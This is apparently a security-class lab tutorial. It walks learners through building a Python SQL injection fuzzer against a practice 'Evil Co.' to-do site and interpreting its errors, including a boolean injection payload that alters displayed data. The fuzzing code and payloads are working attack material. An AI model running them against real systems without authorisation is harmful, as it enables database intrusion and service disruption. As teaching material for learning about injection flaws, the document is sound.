Homebrew SQLi Fuzzer!

Coding

Tutorial:

  1. Visit repl.it and create a new Python 2.7 (not Python but Python 2.7) Repl.
  2. Create a new file and call it fuzz.txt. Then select all, copy and paste this into your new file
  3. Open up main.py and start coding. We'll first need to import some important modules:
    1
    2
    3
    import requests
    from pyquery import PyQuery as pq
    from difflib import SequenceMatcher
    
  4. Next, we need a place to store our results:
    1
    2
    allResponses = []
    suspiciousResponses = []
    
  5. We need to connect and log into the website. Make sure you created an account already.
    1
    2
    session = requests.Session()
    session.post("POST URL HERE", data={ 'username': 'YOUR USERNAME', 'password': 'YOUR PASSWORD' })
    
    • In the Lab Notes, under Section 1 step 5, you recorded the Request Url.
    • Replace POST URL HERE with the Request Url you found. If you can't find it, ask us!
    • Replace YOUR USERNAME and YOUR PASSWORD with your username and password respectively.
  6. Our fuzzer needs to read the list from fuzz.txt:
    1
    2
    fp = open('fuzz.txt', 'r')
    rp = open('result.txt',"w+")
    
  7. Ok, this is where the magic happens. We will send each line of fuzz.txt to the server and record the response. We will then mark the responses that look suspicious:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    # Start for
    print "Printing errored responses...\n"
    rp.write("Printing errored responses...\n")
    for i, line in enumerate(fp):
        response = session.post("TODO URL HERE", data={ 'item': line })
        jquery = pq(response.content)
        result = jquery('.card .card-content .content').html()
        allResponses.append("%s %s" % (response, line))
        if response.status_code != 200:
            print "%s %s" % (response, line), 
            rp.write("%s %s" % (response, line))
        elif result != line and result != None:
            suspiciousResponses.append((SequenceMatcher(None, line, result).ratio(), i))
    # End for
    

    • In the Lab Notes, under Section 1 step 7, you recorded another Request Url.
    • Replace TODO URL HERE with that Request Url you found.
    • On line 9, we print all the errored responses and their response code.
  8. Now we have to print out all our suspicious responses:

    1
    2
    3
    4
    5
    6
    print "\n\nPrinting suspicious responses..."
    rp.write("\n\nPrinting suspicious responses...\n")
    suspiciousResponses.sort(key=lambda tup: tup[0])
    for a in suspiciousResponses:
        print allResponses[a[1]], 
        rp.write(allResponses[a[1]], )
    

  9. Finally, we gotta clean up our mess:

    1
    2
    3
    print "\nComplete!"
    fp.close()
    rp.close()
    

  10. Great, press "Run" and wait like 5-7 minutes for this thing to run. Be patient. Good things take time. If you think something went wrong, please let us know!

    Danger

    If you fail once, let us know. If the responses are frozen/taking way too long, let us know. You might have to create a new account. If you're responses come in as error 520, then you've crashed the server. Let us know.

    Pro Tip

    Clear the Repl.it console output before you run (by finding and clicking the button)!

  11. Here is an example of what the output should look like (warning, very long list!).

Interpreting the Results

Guidelines:

  1. Pick out the top 10 errored responses. What are they?

    • What do you notice? What do they have in common?
    Answer

    They all have an odd number of single quotes '

    • Think about why this causes an error.
    Answer

    Suppose our SQL statement was:

    1
    INSERT INTO blah (a, b, c)('item1', 'item2', 'Inject me')
    
    If we replaced Inject me with an odd number of single quotes (i.e., 1):
    1
    INSERT INTO blah (a, b, c)('item1', 'item2', ''')
    
    Then the quotes won't be balanced (i.e., they won't form a matching pair) and the server will return an error.

    • How can we exploit this?
  2. Pick out the top 3 suspicious responses. What are they?

    • Why are they suspicious?
  3. Login to your Evil Co. account/create a new account (doesn't matter).
  4. Create a new TODO item and paste in one of your top 3 suspicious results under "Your To-Do Action". For example, the top-most suspicious response in the Sample Results was:

    1
    %' AND 8310=8310 AND '%'='
    
    I would then create a TODO with %' AND 8310=8310 AND '%'=' as the "Your To-Do Action".

    • What do you notice? Why are they suspicious?
    Answer

    They are suspicious because the displayed TODO item is different than what you entered. For example, if I submitted the TODO item:

    1
    %' AND 8310=8310 AND '%'='
    
    What is expected is exactly what I entered, but instead you see:
    1
    2
    Urgent
    0
    

    • Can you exploit this now?